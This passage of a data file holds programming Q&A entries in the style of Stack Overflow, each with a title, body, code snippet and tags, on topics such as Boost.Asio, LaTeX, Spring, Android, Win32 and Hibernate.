Pages Amis \\\\et leurs Amis &\\bf R1& \\bf R2& \\bf R3& \\bf R4& \\bf R5& \\bf R6&
\\bf R7& \\bf R8& \\bf R9& \\bf R10\\\\\n\\hline\nText&\\bf R1& \\bf R2& \\bf
R3& \\bf R4& \\bf R5& \\bf R6& \\bf R7& \\bf R8& \\bf R9& \\bf R10\\\\\n\\hline\n\
n\\end{tabular}\n\\end{center}\n\n\\bf{\\caption{Caract\u00e9ristiques du R\
u00e9seau 1}}\n\\end{table}\n", "tables"], "3949109": ["Boost-asio listening to
multiple IP Addresses on a single (TCP) acceptor", "A boost TCP acceptor can be
wired up by using an endpoint constructor that only takes a port number as it's
argument, in which case it will listen to all IP addresses/NIC's.\nIs it possible
to get the acceptor to listen to select IP addresses ? Or will I have to create an
acceptor for each IP address I am interested in ? Looking through the
documentation I couldn't find any indications of this being a possibility. \nI
haven't looked at the socket API for a few years, but I guess the API doesn't
directly allow this.\n", "", "c++ tcp network-programming boost-asio"], "1682944":
["How can I force bibliography items not to be split across pages?", "\nPossible
Duplicate:\nHow can I prevent page break between lines of a paragraph or
bibliography entry? \n\n\nAs you can see, item 10 is split between two pages. How
can I prevent that and force a bibitem to appear on single page? \nDon't
understand me wrong. My goal is not to fit everything on single page. I just don't
like broken entities in my bibliography.\n", "\\documentclass{mwrep}\n\\
usepackage[nodisplayskipstretch]{setspace} \\setstretch{1.9}\n\\begin{document}\n\
nDummy\n\n\\begin{thebibliography}{999}\n\n\\bibitem{1}John Doe, Jane Doe, Captain
America, Superman:\n\\emph{Bibliography item with a very long title: part one},\
nSome title of a magazine with a very long title, 2009, pages 1234--4321\n\n\\
bibitem{2}John Doe, Jane Doe, Captain America, Superman:\n\\emph{Bibliography item
with a very long title: part one},\nSome title of a magazine with a very long
title, 2009, pages 1234--4321\n\n\\bibitem{3}John Doe, Jane Doe, Captain America,
Superman:\n\\emph{Bibliography item with a very long title: part one},\nSome title
of a magazine with a very long title, 2009, pages 1234--4321\n\n\\bibitem{4}John
Doe, Jane Doe, Captain America, Superman:\n\\emph{Bibliography item with a very
long title: part one},\nSome title of a magazine with a very long title, 2009,
pages 1234--4321\n\n\\bibitem{5}John Doe, Jane Doe, Captain America, Superman:\n\\
emph{Bibliography item with a very long title: part one},\nSome title of a magazine
with a very long title, 2009, pages 1234--4321\n\n\\bibitem{6}John Doe, Jane Doe,
Captain America, Superman:\n\\emph{Bibliography item with a very long title: part
one},\nSome title of a magazine with a very long title, 2009, pages 1234--4321\n\
n\\bibitem{7}John Doe, Jane Doe, Captain America, Superman:\n\\emph{Bibliography
item with a very long title: part one},\nSome title of a magazine with a very long
title, 2009, pages 1234--4321\n\n\\bibitem{8}John Doe, Jane Doe, Captain America,
Superman:\n\\emph{Bibliography item with a very long title: part one},\nSome title
of a magazine with a very long title, 2009, pages 1234--4321\n\n\\bibitem{9}John
Doe, Jane Doe, Captain America, Superman:\n\\emph{Bibliography item with a very
long title: part one},\nSome title of a magazine with a very long title, 2009,
pages 1234--4321\n\n\\bibitem{10}John Doe, Jane Doe, Captain America, Superman:\n\\
emph{Bibliography item with a very long title: part one},\nSome title of a magazine
with a very long title, 2009, pages 1234--4321\n\n\n\\end{thebibliography}\n\\
end{document}\n", "bibliographies page-breaking"], "2149535": ["View not working
when window is closed - how to fix this issue?", "Hello I have a view which is
shown when a button is pressed this works fine, if I open a second window the view
works fine and I can go back the prior window and use the view as I have used
removeFromSuperview.\nMy problem is however if I close the last opened window the
view no longer works on the first window, however if I open a new window it works
on the first window again.\nHow do I get the view to continue working when one of
the windows have been closed?\nThanks for your help!\nHere is the code I am using:\
n\n", "-(IBAction) ShowView:(id) sender{\n [myView setHidden:FALSE];\n\n if
([myView isInFullScreenMode]){\n [myView
exitFullScreenModeWithOptions:nil];\n\n }\n else{ \n [myView
enterFullScreenMode:[[myView window] screen] withOptions:nil];\n\n for
(NSView *view in [NSArray arrayWithArray:[myView subviews]]){\n [view
removeFromSuperview];\n [myView addSubview:view];\n }\n }\n}\
n", "objective-c xcode osx cocoa view"], "5946403": ["<form:select> objects binding
through Converter in Spring MVC", "I try to use Converter to organize form binding
in Spring MVC, like it described here: Spring form binding how to do it ? Cannot
convert value of type [java.lang.String] to required type, but I miss something,
and binding doesn't work.\nSome snippets:\nEntities:\n\nJSP:\n\nController:\n\
nConverter:\n\nServlet configuration:\n\n\nWhen i submit the form property in
controller is always just null. I also tried to use Formatter, but I've got the
same result.\n", "public class Building {\n private Long id;\n private String
address;\n private BankAccount mainIncomeBankAccount;\n// ... getters, setters,
hashCode() and equals()\n}\n\npublic class BankAccount {\n private Long id;\n
private String accountNumber;\n// ... getters, setters, hashCode() and equals()\n}\
n", "java spring spring-mvc data-binding type-conversion"], "2732924": ["Can i
apply a style to a parent element", "\nPossible Duplicates:\nStyle parent li on
child li:hover.\nIs there a CSS parent selector? \n\nI have a nave menu.\nOn the
appears.\nCan I apply a style to the while hovering over the drop down menu?\nCan
you apply a style to the parent element while hovering over the child element?\
ni.e. I want a to appear under the , while i am hovering over the .\nCan't figure
it out.\n", "li a:hover", "css"], "2444666": ["Determining Workflow Arguments at
Runtime Prior to Execution", "Is there a way to determine the arguments to a
workflow prior to executing it?\nI've developed an application that rehosts the
designer, so end users can develop their own workflows. In doing this, a user is
able to add their own arguments to the workflow.\nI'm looking for a way to inspect
the workflow prior to execution, and try to resolve the arguments. I've looked at
the class, but I can't seem to ask for a particular type of item from it.\
nIdeally, I'd like to construct a workflow from metadata stored in the database
using something like:\n\nI might be missing something, but doesn't seem to do
this. It has the method which sounds promising when you read the MSDN docs, but
basically turns up with nothing.\nThanks for any help.\n",
"WorkflowInspectionServices", "workflow-foundation-4"], "5099855": ["sending lparam
as a pointer to class, and use it in WndProc()", "i have this abstract code : \ni
want to use lParam (last parameter) in CreateWindowEx() to save a pointer to a
class thats declared in the begining of main - SaveArr. then, i want to use it in
the function WndProc. \nin the begining i did a global array, and then i could use
it anywhere, but its not so \"clever\" as far as c++ concern, so im trying to
upgrade it a bit. \n\n}\n", "class Samples\n{\n int arr[ITERATIONS+1];\n
int index;\n ...\n}\n\nINT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE
hPrevInstance,\n
LPSTR lpCmdLine, int nCmdShow)\n{\n Samples * SaveArr;\
n ...\n hWnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,\n
ClsName,\n WindowCaption,\n
WS_OVERLAPPEDWINDOW,\n INITIAL_WIN_LOCAT_X,\n
INITIAL_WIN_LOCAT_Y,\n WIN_WIDTH,\n
WIN_HIGHT,\n NULL,\n NULL,\n
hInstance,\n NULL); //here i want to pass SaveArr, so
that i can use it in the WndProc(...) function\n\n...\nreturn 0;\n}\n\nLRESULT
CALLBACK WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)\n{\n ...
//here i would like to use lParam as the class pointer, meaning using the \n
SaveArr declared in the main function.\n\n}\n", "c++ winapi wndproc"], "3426016":
["How can I find input elements which have not been changed in jQuery?", "I want to
find all form elements, with a specific class, and check if they have been altered
or not. The if-statement does it's job, but I have no idea to correct the find
thingy. Is this in the right direction or have I got it all wrong?\n\nCheers!\n",
"$(\"input\").find(\".formWithMyClass\").load(function() {\n if (this.value !==
this.defaultValue){\n $(this).addClass(\"inactiveForm\");\n }\n });\n",
"jquery jquery-selectors"], "5931872": ["How to merge and rollback the Android
source repository among local archived files that doesn't belong to a repo", "I
have:\n\nThe Android source repository downloaded with as suggested by the
official Android guide\nSome files that customize my build that are just part of my
filesystem and they are not in a repository of any kind, they are just files on my
HDD\n\nI want to customize my codebase with the external files, build Android and
then rollback the changes to restore the original \"vanilla flavour\" of the
repository, just like it was after the first .\nIt would be better if i could
mirror my codebase and create branches to store just the differences between my
customized builds without affecting directly my original Android source.\nI'm not
really familiar with branching, i just know the basis about and the various CVS,
since i have a very slow connection i just want to download and sync as less as
possible everytime i made some customization to the original code.\nThe Google
documentation is really poor on this side, the official guide to the command does
not even show all the available commands, i can't find a real solution to my
problem.\n", "repo", "android git repository versioning repo"], "5929075":
["multiple files upload using same input name in django", "i m having trouble in
uploading multiple files with same input name:\n\nat django side \n\nso all three
files are under single request.FILES['file'] object . how do i handle for each
files uploaded from here?\n", "<input type=file name=\"file\">\n<input type=file
name=\"file\">\n<input type=file name=\"file\">\n", "django file upload file-
upload"], "463802": ["Tar \"mode\" flag is being ignored", "I try to tar a file and
set the permissions to 666 using the flag. But whatever permission I set, it is
simply being ignored. Command: \n\nTill all files show up with their original
permissions. \nAm I doing something wrong?\n", "mode", "command-line tar"],
"5611301": ["Android setDescendant focusability doesn't work", "I have an
onTouchEvent on a relativeLayout that should be called all the time, and I decide
if I consumme the event.\nHere is the interresting part of my main.xml : \n\nSo I
put an onTouch event on the root relativeLayout relativeLayoutVisibleRoot. It take
the priority on everyComponent EXCEPT the listview and all his components. I've
tried android:descendantFocusability=\"beforeDescendants\" as you can see, but it
doesn't work either.\nHow to set the priority, the first focus on a tap, to my
RelativeLayout ? What did I do wrong ?\n", "<RelativeLayout\n
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:id=\"@+id/relativeLayoutVisibleRoot\"\n
android:layout_width=\"fill_parent\"\n android:layout_height=\"fill_parent\"\n
android:background=\"@drawable/background_diary_pageflip_big\"\n
android:descendantFocusability=\"beforeDescendants\" >\n\n <LinearLayout\n
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:layout_width=\"fill_parent\"\n android:layout_height=\"70dp\"\n
android:layout_gravity=\"right\"\n android:gravity=\"fill_vertical\"\n
android:orientation=\"horizontal\"\n android:paddingRight=\"10dp\"\n
android:paddingTop=\"30dp\" >\n\n <LinearLayout\n
android:id=\"@+id/linearLayoutVisible\"\n
android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n android:layout_weight=\"1\"\n
android:orientation=\"vertical\" >\n\n <Button\n
android:id=\"@+id/calendarVisible\"\n android:layout_width=\"40dp\"\
n android:layout_height=\"40dp\"\n
android:layout_gravity=\"right\"\n
android:background=\"@drawable/calendar_background\"\n
android:gravity=\"top|center\" />\n </LinearLayout>\n\n <TextView\n
android:id=\"@+id/currentDayVisible\"\n
android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n
android:layout_gravity=\"center_vertical|center_horizontal\"\n
android:layout_weight=\"0.5\"\n android:gravity=\"center_vertical|
center_horizontal\"\n android:shadowColor=\"@color/Grey\"\n
android:shadowDx=\"1\"\n android:shadowDy=\"1\"\n
android:shadowRadius=\"0.6\"\n
android:textAppearance=\"?android:attr/textAppearanceLarge\"\n
android:textColor=\"@color/Black\"\n android:textSize=\"18dp\" />\n\n
<LinearLayout\n android:id=\"@+id/linearLayoutVisible\"\n
android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n android:layout_weight=\"1\"\n
android:gravity=\"center_vertical|center_horizontal\"\n
android:orientation=\"vertical\"\n android:paddingRight=\"15dp\" >\n\n
<Button\n android:id=\"@+id/doneVisible\"\n
android:layout_width=\"40dp\"\n android:layout_height=\"40dp\"\n
android:background=\"@drawable/pen_blue_big\" />\n </LinearLayout>\n
</LinearLayout>\n\n <ListView\n
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:id=\"@+id/dayListVisible\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n android:layout_marginLeft=\"23dp\"\n
android:layout_marginRight=\"32dp\"\n android:layout_marginTop=\"100dp\"\n
android:cacheColorHint=\"#00000000\"\n
android:descendantFocusability=\"beforeDescendants\"\n
android:divider=\"#00000000\" >\n </ListView>\n\n <TextView\n
android:id=\"@+id/textViewMonthVisible\"\n android:layout_width=\"42dp\"\n
android:layout_height=\"38dp\"\n android:layout_marginLeft=\"28dp\"\n
android:layout_marginTop=\"31dp\"\n android:textColor=\"#000000\"\n
android:visibility=\"gone\" />\n\n <TextView\n
android:id=\"@+id/textViewYearVisible\"\n
android:layout_width=\"wrap_content\"\n
android:layout_height=\"wrap_content\"\n android:layout_marginLeft=\"28dp\"\
n android:layout_marginTop=\"56dp\"\n android:textColor=\"#000000\"\n
android:textSize=\"11dp\"\n android:textStyle=\"bold\"\n
android:visibility=\"gone\" />\n</RelativeLayout>\n", "android focus"], "4979182":
["How can I delete a post using its ID and the permission (access Token) on
Facebook?", "I have created a Facebook application that has the permission to post
on wall, has offline access, and can store access tokens in the database.\nThe
application only needs you to go to canvas page once, and then it will start
serving you a \"post\" every 5 hours.\nSo as an upgrade, I need to delete the
previous post (I have it's id) and post a new one so we don't get spam reports.\nSo
how can i delete the Post using an access token and Post ID, like that on Shady
Wallas \nHere is some example data: \n https://graph.facebook.com/ Graph
url \n Shady.wallas Profile and User ID \n
1658870381_2143043309837 Post ID \n \"planbxe3qxdfghk.......\" Access
token \n", "post_id{\"id\":\"1658870381_2143043309837\"}", "object facebook-graph-
api delete stream"], "3761927": ["Forcing new categories in splitbib to start on
new pages", "I use to create a sectioned bibliography in my CV, and I was
wondering if there's a way to customize it to force new categories to start on a
new page? I'm thinking that I'd have to do something with , but I'm not sure what.\
n", "splitbib", "bibliographies page-breaking subdividing splitbib"], "5923806":
["Passing on the HTTP referrer (Site A, B, C - A to C)?", "This is a question best
illustrated by example:\nUser goes to Site A, and clicks through to Site B. The
referring site is now Site A. The same user clicks through to Site C from Site B.
The referring site is now Site B.\nI'm wondering if it's possible to have the
referring site for Site C show up as Site A (the initial referrer if you will).\
nWhy I'd like this (a bit more context)?\nI'm using a targeting software (Site B)
that'll redirect to the true destination (Site C). Because I'll be linking to this
targeting software instead of the final
destination, Google Analytics will register all referrals as the targeting
software which will completely defeat the purpose of tracking referring sites.\nI'd
like to be able to pass the in \"actual\" referrer (Site A) in order to see where
visits to Site C actually coming from.\nIf possible I'd like to do this
without \"hacks\" or \"workarounds\" which have the potential to break easily.\n",
"", "http google-analytics referrer"], "4910997": ["jqGrid Grouping state when
filtering", "I am using a filter for my jqGrid grid, and the data is in groups,
defaulting first state of collapsed. If a user open a group or 2 (expaning the
groups) , then does the filter, the grid reloads the data, filters it correctly,
but then I loose the expanded state of the groups the user opened. Is there a way
to not have it, toggle back to the default state of collapsed when doing a filter?\
nThanks in Advance.\n", "", "jqgrid filter grouping state"], "5971952": ["c#
reflection: How can I invoke a method with an out parameter?", "I want expose
WebClient.DownloadDataInternal method like below:\n\nWebClient.DownloadDataInternal
has a out parameter, I don't know how to invoke it.\nHelp! \n",
"[ComVisible(true)]\npublic class MyWebClient : WebClient\n{\n private
MethodInfo _DownloadDataInternal;\n\n public MyWebClient()\n {\n
_DownloadDataInternal = typeof(WebClient).GetMethod(\"DownloadDataInternal\",
BindingFlags.NonPublic | BindingFlags.Instance);\n }\n\n public byte[]
DownloadDataInternal(Uri address, out WebRequest request)\n {\n
_DownloadDataInternal.Invoke(this, new object[] { address, out request });\n }\
n\n}\n", "c# reflection out-parameter"], "1159469": ["what context should i use
AlertDialog.builder on event of a button?", "I am using this code... please rectify
it \nbtnLogin.setOnClickListener(new OnClickListener() \n {\n
@Override\n public void onClick(View v)\n {\n // Check Login\
n String username = etUsername.getText().toString();\n String
password = etPassword.getText().toString();\n\n}}\n", " String str1 =
DownloadText(\"http://........\");\n if(str1.length()==1)\n {\n\n
AlertDialog dialog = new AlertDialog.Builder(btnLogin).setTitle(\"Alert
1\").setMessage(\"Login Success\").create();\n alertDialog.setButton(\"OK\",
new DialogInterface.OnClickListener() {\n public void
onClick(DialogInterface dialog, int which) {\n
return;\n }});\n", "android context"], "2142026":
["Separate routes if subdomain is present in rails", "Is there a way to separate
routes in rails 3.1 when a subdomain is present? I want to use one collection of
routes when subdomains is used and one if not.\ne.g \n\nIs something like this
possible?\n", "if request.subdomain.present?\n root ....\n resources ...\nelse\n
root ....\n resources ...\nend\n", "routing ruby-on-rails-3.1"], "4992112":
["boost::scoped_lock unlock", "Could I unlock the mutex before out of the scope of
scoped_lock? How could I do that?\n\nThanks.\n", "{boost::mutex::scoped_lock
lock(mutex);\n\nif(conditionaA)\n{\n if(conditionB)\n {\n //could I unlock
here as I don't want to hold the lock too long.\n //perform calculation\n }\n\
n}\nelse\n{\n\n}\n\n}//lock scope\n", "c++ boost"], "2210860": ["booting problem on
Solaris", "I am not able to connect to my server via network and plug console cable
via A Lom port and keep getting this message and can't do anything. since I am not
able to go ok> prompt. I am logged thorough terminal windows. I an't find a way to
go ok> prompt.\n \nany suggestion. thanks in advance\n", "Timeout waiting for
ARP/RARP packet", "unix solaris opensolaris"], "3524811": ["It is possible to show
keyboard without using UITextField and UITextView iphone app?", "I am working in
iPhone messaging based app. \nI want to show keyboard with keyboard in keyboard
without using and . It is possible to do this? Please any one help me on this. \
nThanks in advance. Looking forward your help. Thanks.\nEDIT:\nBecause i don't want
the / and the control to be in /. I am going to add on the keyboard is . when the
user touches the in the keyboard the actual process will be continue.\n",
"inputAccessoryView", "iphone ios uitextfield uitextview uikeyboard"], "4187050":
["Need to call COM component using reflection in .NET", "I need to determine the
COM component(unmanaged code) type and invoke the exposed interface's methods using
reflection in C# at runtime. \n\nFirst What member of \"Type\" tells that type is
COM component and we can take CLSID at runtime? Is Type.COMObject?\nI need to call
methods of exposed interfaces as they called in unmanaged code using
CoCreateInstance by passing CLSID and REFID ... I am using InvokeMember but it
returns null or 0 as out parameter. \n\nHow to pass out parameter in this case.? Is
there any need to pass out parameter? As all my COM unmanaged code suppose to take
last parameter as an OUT parameter and after executing it puts the result into that
out param. But I've converted all my unmanaged COM code to .NET managed assemblies
using tlbimp.exe.\n", "", "c# reflection com interop assemblies"], "4187056":
["ImportError: No module named testing with z3c.form.testing imports", "Trying to
run z3c.form.testing based code on Plone 4.1 and getting this exception\n\nDo
z3c.form needs special support or pindowns with Plone 4.1 to run unit tests? There
might be need to refer testing modules in setup.py, but are there examples how to
do this?\n", "Traceback (most recent call last):\n File
\"/home/xxx/DATA/projects/SVN_xxx_eggs/Products.xxxPatient/Products/xxxPatient/
tests/test_views.py\", line 13, in <module>\n from z3c.form.testing import
TestRequest\n File
\"/home/xxx/DATA/projects/xxx_FOLDER/xxx_414/buildout-cache/eggs/z3c.form-2.5.1-
py2.6.egg/z3c/form/testing.py\", line 23, in <module>\n from zope.app.testing
import setup\nImportError: No module named testing\n", "plone zope z3c.form"],
"5967449": ["Best way/place to put savegame data (or data no user-readable)", "I
need write some data for my app, and I like know best way/place to put savegame
data (score player, savegames with items and inventory, current level, etc...).\
nBinary format? SQlite? SharedPreferences? SDCard? Phone storage?\nNote:\n\nI need
that user can't modify this data (edit savegame files, for example, for up level)\
n\nPlease, explains your reply: why it is better?\n", "", "android data format
place"], "5116424": ["Execute delete and update the respective rows in other
table", "I have following tables\n\nI want to remove all boxes with a matching SKU
from the A2Box table and Adjust the LocQty of the matching location in the A2Loc
table of each box by 1 \nHow I can do that using stored procedure.\nI tried myself
and came up with this\n\n", "CREATE TABLE A2SKU \n(\n SKUID NUMBER NOT NULL,\n
SKUNAME VARCHAR2(20),\n SKUQTY NUMBER, \n CONSTRAINT A2SKU_PK PRIMARY KEY
(SKUID)\n);\n\n\nCREATE TABLE A2LOC \n(\n LOCID NUMBER NOT NULL, \n LOCNAME
VARCHAR2(20), \n LOCQTY NUMBER, \n MAXQTY NUMBER, \n CONSTRAINT A2LOC_PK PRIMARY
KEY (LOCID)\n);\n\n\n\nCreate Table A2BOX ( \nboxId NUMBER Primary Key, \nskuId
NUMBER, \nlocId NUMBER, \nconstraint FK_A2BOX_SKUID foreign key (skuid) references
A2SKU, \nconstraint FK_A2BOX_LOCID foreign key (locid) references A2LOC\n);\n\n\
nCREATE SEQUENCE A2BOXSEQ;\n", "sql oracle plsql cursor oracle11g"], "3522585":
["Configure wireless access on seperate router with Blueyonder UK (Virgin Media)",
"Current setup:\n\nSurfboard SB5100i connected via a\ncable modem wire to
Blueyonder\n(Virgin Media).\nNetGear WGR614 with\nADSL wireless modem.\n\nI was
planning on using the wireless capabilities of the NetGear in conjunction with the
Surfboard cable modem.\nThe plan was to have the NetGear router plugged into the
the Surfboard (using LAN port 1) and have the cable service automatically detect
the MAC address of the NetGear and allow it onto the network. So far so good - I
have tested this and it works. If I plug a cable into LAN port 2 I can use the
internet.\nThe problem is when using Wireless. I have setup the NetGear as a DHCP
server to issue addresses over the wireless connection. The problem is that I am
unable to use the internet over wireless, only through LAN port 2.\nIts been a long
time since I setup a cable modem connection and even a network with two
switches(!), what am I doing wrong? Any advice?\nThanks\n", "", "wifi"], "3618774":
["Dynamic queries with hibernate", "I have an application where i need to enable
end users to create adhoc reports by defining their options through some type of
wizard whose process would be something like: \n\nI am using hibernate with
postgres database with more than 100 tables. Sure, I can not let the user pick any
of those tables since they make no sense. But some 10 main tables (such as ones
from above).\nSo I need advice on how to:\n\nIs it possible and how to define joins
and relations between these tables and their other relations dynamically? \nIf not,
(or too complex), what would be the best way to predefine these joins and database
paths, and then let user only parametrize filters?\nObtain data from more than one
hibernate object and then let the user chooses fields he wants.\n\nI appreciate
much all the feedback, if i did not explain the need properly please write.\n",
"1) User selects the table(s) he wants to query (eg person, project, activities)\
n2) defines the list of fields he requires (eg name, email, projects, activity,
activity info) \n3) supplies the filter criteria for the records to return (eg
Person name, ongoing activities)\n", "java hibernate relational-database dynamic-
sql"], "5232418": ["Spring MVC 3 Hibernate 4 Multi databases configuration", "i
have to manage multiples databases in
my application my configuration file app is \n\nAnd my \"db-config.xml\" is\n\nAnd
\"validationdb-config.xml\"\n\nI have User Class in package
fr.tessa.jee.webmanager.validation.model And Client in package
fr.tessa.jee.webmanager.model; The probleme is that when i try to get the User List
I have error like\n No Session found for current thread\nBut for the Client List
it's fine and when i start by importing \"validationdb-config.xml\" in app-config
like \n\nThe error arrive when i try to get Clients List\nWhat is the probleme with
my configuration? Help please :(\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
n<beans xmlns=\"http://www.springframework.org/schema/beans\"\nxmlns:xsi=\"http://
www.w3.org/2001/XMLSchema-instance\"
xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\nxmlns:context=\"http://
www.springframework.org/schema/context\"\nxsi:schemaLocation=\"\n
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.1.xsd\n
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.1.xsd\n
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-3.1.xsd\">\n\n <!-- Scans
the classpath of this application for @Components to deploy as beans -->\n
<context:component-scan base-package=\"fr.tessa.jee.webmanager\" />\n\n <!--
Configures the @Controller programming model -->\n <mvc:annotation-driven />\n\n
<!-- misc -->\n <bean id=\"viewResolver\"\n
class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n
<property name=\"viewClass\"\n
value=\"org.springframework.web.servlet.view.JstlView\" />\n <property
name=\"suffix\" value=\".jsp\" />\n </bean>\n\n <!-- Configure the multipart
resolver -->\n <bean id=\"multipartResolver\"
class=\"org.springframework.web.multipart.commons.CommonsMultipartResolver\">\n
<!-- one of the properties available; the maximum file size in bytes -->\n
<property name=\"maxUploadSize\" value=\"1000000\" />\n </bean>\n\n <!--
Configures Hibernate - Database Config -->\n <import resource=\"dbconfig/db-
config.xml\" /> \n <import resource=\"dbconfig/validationdb-config.xml\" />\n\
n</beans>\n", "hibernate spring-mvc connection multiple-databases"], "3426014":
["gcc can\u00b4t find includes", "I have configured and build gcc from source
without encountering any problems except when I try to include a simple header
file:\n\nI get an error saying it can\u00b4t find iostream.\n\nI have also checked
the include dir (\u00a8/usr/include/c++/4.6\u00a8) and iostream and the rest are
present.\nIs it looking for them somewhere else or what?\nOs is Linux Mint 64bit\
n", "#include <iostream>\nint main(){\nstd::cout<<42;\n}\n", "linux gcc"],
"2666132": ["Software Management Tools for Agile Process Development", "We would
like to implement the Agile/ Scrum process in our daily software management, so as
to provide better progress visibility and feature managements, here are some of the
activities that we want to do:\n\nDaily stand-up \nRelease cycles of 6 weeks with 3
2-week iterations.\nHaving a product back-log of tasks (integrate with bugzilla)
and bugs estimated out.\nPrinting a daily burn down to make velocity visible. When
used as motivator, it's great.\nEasy feature development tracking and full blown
visibility, especially for the sales and stake holders ( this means that it must be
a web based tool).\nMy team is distributed, so physical whiteboards aren't
feasible. \n\nIs there such a web based tool that meets our needs? I heard icescrum
may be one, but I've never used it so I don't know. \nThere are a few more
suggestions as here, but I've never heard of them, anyone cares to elaborate or
suggest new tools? \n", "", "project-management agile scrum"], "2388950": ["prove
$\\int f \\le \\int g$", "After Edwards(author of advanced calculus of several
variables) pushed me through contented sets and admissible functions, he threw me a
curveball. I have a pretty good idea on how to prove this with the two excluded
properties... but without... well any hints/solutions would be appreciated: \nIf
$f,g$ are integrable functions with $f(x) \\le g(x)$ for all $x$, prove $\\int
fdx \\le \\int gdx$ without using the fact that a set of integrable functions is a
vector space and the mapping $\\int:Q \\rightarrow R$ is linear (with Q being the
set of integrable functions)\nThanks guys!\n", "", "real-analysis multivariable-
calculus"], "5628082": ["how to use the animation which is used to reveal the lower
view?", "does somebody know how to use the animation which is used to reveal the
lower view(Map,Satellite,Hybrid, List) in the maps applicaton?\nThanks in advance,\
n-s.\n", "", "objective-c iphone-sdk-4.0"], "5157737": ["Objective C: uncaught
exception 'NSUnknownKeyException'", "I have this error \"Thread 1: Program received
signal: 'SIGABRT'\" on this line...\n\nwhat does it mean??\nand here are the error
messages:\n\n", "[window addSubview:viewController.view];\n", "iphone objective-c
ios xcode ipad"], "4959412": ["In IE, when binding to the 'load' event of an
IFRAME, this.contentDocument is undefined", "Ok, bear with me folks, the setup on
this one is long.\nI have a simple page. It loads an iframe. Inside that iframe is
a form. I want the form inside the iframe to interact with the parent page via
jQuery.\nThis works correctly in Firefox, Chrome, and Safari. See for yourself
here:\nhttp://dl.dropbox.com/u/58785/iframe-example/index.htm\nHowever, in Internet
Explorer 6/7/8/9, it does not work. The load event fires, but jQuery cannot get a
handle on elements inside the iframe.\nI'm using the second 'context' argument of
the jQuery function to set the context of the selector, like this: \nHere's what is
batty. Using the F12 Developer Tools in IE9, I can set a breakpoint in my
JavaScript and look at how IE is evaluating the JavaScript. If I hover over , I can
see that it does have a property. BUT, if I hover over , it tells me it's
undefined.\n\n\nBecause it's undefined, the jQuery selector returns no elements.
Again, this is only in IE. And the IFRAME is on the same domain, so it's not a
same-origin issue.\nAny pointers?\n", "var form = $('#myform'),
this.contentDocument)", "javascript jquery internet-explorer iframe"], "4378937":
["What is the best CMS for a technology user group?", "We're starting a user group
and want our own website for it where people can post, register for meetings, etc.
What is the best CMS to use? The server we plan to use is Win 2003 Web Server with
IIS 6 and SQL 2008, but also has PHP and MySQL installed.\n", "", "content-
management-system community"], "3328406": ["When a managedobjectcontext with parent
do execute fetch request, where is the data from?", "child parent is parent. parent
has persistent store.\nNow I do [child executeFetchRequest:request]\nDo I get data
from:\nchild?\nparent?\npersistent store?\nIf from child only, is it possible to
use child to prefetch the whole thing?\n", "", "xcode4.5 nsmanagedobjectcontext"],
"2237363": ["how to implement an idl-to-java compiler", "I need to implement an
idl-to-java compiler. In fact, it's not idl-to-java. Interface definition language
is extended. So I need to implement a compiler which can generates java source
file. I know nothing about corba and I feel hard to start. Do you think it's
possible for me to finish this work in half a year? and if so, what should I do.
ps: please forgive my English.\n", "", "java compiler corba idl"], "4085769": ["how
to strand executorservice", "My program flow is like this:\nI need to sequential
processing per user's request\nIn C++ I will use boost asio and one strand per user
but I had to code in java\nSo I intend to create one SingleThreadExecutor per user
and post user's task into it's executor \nBut if user num get big I think this
approach will slow because of the big number of thread\nSo I looking for
alternative solution, the other approach in my head is one queue per user and some
how tosh that queue to a fixed thread pool, need advise here, thanks.\n", "", "java
multithreading threadpool executorservice"], "4981300": ["Interpret zsh bindkey
escaped sequences", "I usually find interesting zsh keybinding settings (through
command) around the web. My question is how do I interpret what these escaped
sequences mapped to? For instance, here is a snippet from oh-my-zsh's key-
bindings.zsh\n\nIs there a reference on how do these keymaps represented? Also, is
it zsh-specific or platform specific at all?\nI am aware that I can use either or
Ctrl-V to find the corresponding escaped sequence for certain keys. Given that I
could brute force to find the reverse match, but this would not work for the keys
that do not exist on my keyboard (e.g. Home/End on Mac laptops). Thus, I'd prefer
methods that could determine the keys regardless of the physical keyboard.\n",
"bindkey", "shell unix zsh key-bindings keymapping"], "5551646": ["Disable button
from one control in another control", "Hi I am working on Win 8 metro app buid in
silverlight.\nI have two controls Control1 and Control2\nControl2 is inside
Control1\nControl2 has a listview and Control1 has buttons. Clicking on listview
has to disable buttons in Control1.\nI tried to achieve this from code behind by
using\n\nand in xaml\n\nbut it didn't disabled the button.\nHow can I disable
buttons. Any idea?\n", " public bool OverriddenFlag\n{\n get { return
_overriddenFlag; }\n set\n {\n _overriddenFlag= value;\n
NotifyPropertyChanged(\"OverriddenFlag\");\n }\n}\n", "silverlight windows-
phone-7.1 windows-8"], "5142759": ["How to garantee the state of a VM? Make sure
Software doesn't change", "I want to make sure that I can stop a machine, on Hyper-
v with windows VMs, and then I can start
it, being sure that nothing changed inside the VHD.\nIs this possible? Can I make
like an MD5 of \"C:\\Windows\\System32\\config\" SAM, System, etc, and then start
the VM's (after one month or more) making sure that nothing changed?\nIs there
